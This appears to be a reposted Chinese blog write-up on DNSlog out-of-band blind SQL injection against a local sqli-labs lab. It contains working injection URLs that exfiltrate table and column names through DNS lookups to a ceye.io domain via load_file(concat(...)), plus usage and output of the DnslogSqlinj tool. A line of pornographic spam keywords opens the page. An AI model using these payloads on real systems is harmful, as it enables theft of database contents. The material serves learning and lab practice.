日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

concat拼接的坑 mysql_DNSlog注入踩坑记录:

發布時間:2025/4/16 数据库 29 豆豆
生活随笔 收集整理的這篇文章主要介紹了 concat拼接的坑 mysql_DNSlog注入踩坑记录: 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

我遇到了兩個巨坑,加上http://ceye.io/,經常無法訪問,記錄一下心酸的踩坑歷史。

直接將兩個巨坑放到最前面,提醒后人!!

1. sql盲注,后端數據庫用的mysql數據庫,說一下用dnslog回顯只能用于windows系統,原理就是''代表Microsoft Windows通用命名約定(UNC)的文件和目錄路徑格式利用任何以下擴展存儲程序引發DNS地址解析。雙斜杠表示網絡資源路徑多加兩個就是轉義了反斜杠。

2. 通過DNSlog盲注需要用的load_file()函數,所以一般得是root權限。show variables like '%secure%';查看load_file()可以讀取的磁盤。

1、當secure_file_priv為空,就可以讀取磁盤的目錄。
2、當secure_file_priv為G:,就可以讀取G盤的文件。
3、當secure_file_priv為null,load_file就不能加載文件。
我當初的:直接在centos上進行測試,之后在win10上測試的時候沒有使用這個函數進行查看。
直接被自己蠢哭.... ...

通過設置my.ini來配置。secure_file_priv=""就是可以load_flie任意磁盤的文件。先簡單介紹一下原理:

關于OOB
out-of-band帶外數據(OOB)與inband相反,它是一種通過其他傳輸方式來竊取數據的技術(例如利用DNS解析協議和電子郵件)。OOB技術通常需要易受攻擊的實體生成出站TCP/UDP/ICMP請求,然后允許攻擊者泄露數據。OOB攻擊的成功基于出口防火墻規則,即是否允許來自易受攻擊的系統和外圍防火墻的出站請求。而從域名服務器(DNS)中提取數據,則被認為是最隱蔽有效的方法。

DNSlog在Web漏洞利用簡單理解就是在某些無法直接利用漏洞獲得回顯的情況下,但是目標可以發起DNS請求,這個時候就可以通過這種方式把想獲得的數據外帶出來。

這里使用的DNS的原因是:DNS在解析的時候會留下日志,咱們這個就是讀取多級域名的解析日志,來獲取信息 簡單來說就是把信息放在高級域名中,傳遞到自己這,然后讀取日志,獲取信息。

上張圖:

所以,首先需要一個域名http://abc.com,之后訪問xxx.abccom,dns服務會將此解析放入log記錄中,之后就可以通過log記錄獲取之前的查詢信息。

這里推薦生成域名的平臺http://www.ceye.io,我使用的時候經常連接被重置,不知道為啥

注冊完成后

實現條件(如上)

1、SQL盲注、無回顯的命令執行、無回顯的SSRF 2、只能用于windows系統 3、需要用到mysql中的load_file()函數,在Mysql中,load_file()函數讀取一個文件并將其內容作為字符串返回。(不絕對,僅僅只是列舉了mysql數據庫的函數)

再介紹一下UNC

UNC路徑
什么是UNC路徑?
UNC是一種命名慣例, 主要用于在Microsoft Windows上指定和映射網絡驅動器. UNC命名慣例最多被應用于在局域網中訪問文件服務器或者打印機。我們日常常用的網絡共享文件就是這個方式。
UNC路徑就是類似softer這樣的形式的網絡路徑。它符合 servernamesharename 格式,其中 servername 是服務器名,sharename 是共享資源的名稱。
目錄或文件的 UNC 名稱可以包括共享名稱下的目錄路徑,格式為:servernamesharenamedirectoryfilename。
例如把自己電腦的文件共享,你會獲得如下路徑,這就是UNC路徑
//iZ53sl3r1890u7Z/Users/Administrator/Desktop/111.txt

配置完成后開始注入

這樣配置完成后,在數據庫中進行測試,dnslog被記錄下來的。

使用load_file()這個函數支持對外的讀取,所以拼接payload。下面就可以進行愉快的sql注入了

dnslog被記錄下來的。
使用load_file()這個函數支持對外的讀取,所以拼接payload。下面就可以進行愉快的sql注入了

成功爆出數據庫名,下面繼續爆數據表名

http://192.168.64.152/sqli-labs/Less-9/?id=-1' and if((select load_file(concat('',(select table_name from information_schema.tables where table_schema=database() limit 2,1),'.XXXXX.ceye.ioabc'))),1,0)--+

繼續爆列名

http://192.168.64.152/sqli-labs/Less-9/?id=-1' and if((select load_file(concat('',(select column_name from information_schema.columns where table_name='users' and table_schema=database() limit 1,1),'.XXXXX.ceye.ioabc'))),1,0)--+

最后直接爆數據,大功告成!

DNS注入工具:DnslogSqlinj

可以直接在github上下,https://github.com/ADOOO/DnslogSqlinj,需要py2的環境來運行

下載完成后直接解壓

will@kali:~$ unzip DnslogSqlinj-master.zip will@kali:~$ cd DnslogSqlinj-master/ will@kali:~/DnslogSqlinj-master$ ls checkSql.py checkSql.pyc config.py config.pyc dnslogSql.py README.md will@kali:~/DnslogSqlinj-master$ vim config.py注意,這里要修改這兩個為你自己的# DNSlog 設置APItoken = 'xxxxx'DNSurl = 'xxx'修改完成后保存 will@kali:~/DnslogSqlinj-master$ sudo python dnslogSql.py ____________________________________________________________________ _ _____ _ | __ | | |_ _| (_)| | | |_ __ ___| | ___ __ _ | | _ __ _ | | | | '_ / __| | / _ / _` | | | | '_ | || |__| | | | __ |___| (_) | (_| | _| |_| | | | ||_____/|_| |_|___/_________/ __, | |_____|_| |_| |__/ | _/ ||___/ |__/ ?DnsLog SqlInj Scanner by ADOVersion 1.0https://github.com/ADOOO/DnslogSqlinj _______________________________________________________________ ? Usage: dnslogSql.py [options] -u http://10.1.1.9/sqli-labs/Less-9/?id=1' and ({})--+ ? Options:--version show program's version number and exit-h, --help show this help message and exit-u URL, --url=URL target include injection-c, --check task name-n TASKNAME, --name=TASKNAMEtask name-t THREAD_COUNT, --thread=THREAD_COUNTthread_count-i INF, --inf=INF Testing target and Try to get information--dbs get database-D DB database name--tables get table-T TABLE table name--columns get column-C COLUMN column name--dump get data 根據提示,配置參數,如下 will@kali:~/DnslogSqlinj-master$ sudo python dnslogSql.py -u "http://192.168.64.152/sqli-labs/Less-9/?id=1' and ({})--+" ? [!]Testing Target and Try to get current information! ? [*]Current user: root@localhost [*]Current data: security 得到數據庫名和用戶名(在平臺中也能看到記錄,但是是數字和一些英文,木有看懂)

繼續獲取對應數據庫下面的數據表

will@kali:~/DnslogSqlinj-master$ sudo python dnslogSql.py -u "http://192.168.64.152/sqli-labs/Less-9/?id=1' and ({})--+" -D "security" --tables ? [*]Database:security [*]Get data count: 4 [*]Data 2: referers [*]Data 4: users [*]Data 3: uagents [*]Data 1: emails

然后繼續爆字段,爆數據

PS:寫的邏輯有些混亂,web萌新,多多包涵。
參考:還有其他很多

DNS log注入?www.jianshu.com

總結

以上是生活随笔為你收集整理的concat拼接的坑 mysql_DNSlog注入踩坑记录:的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。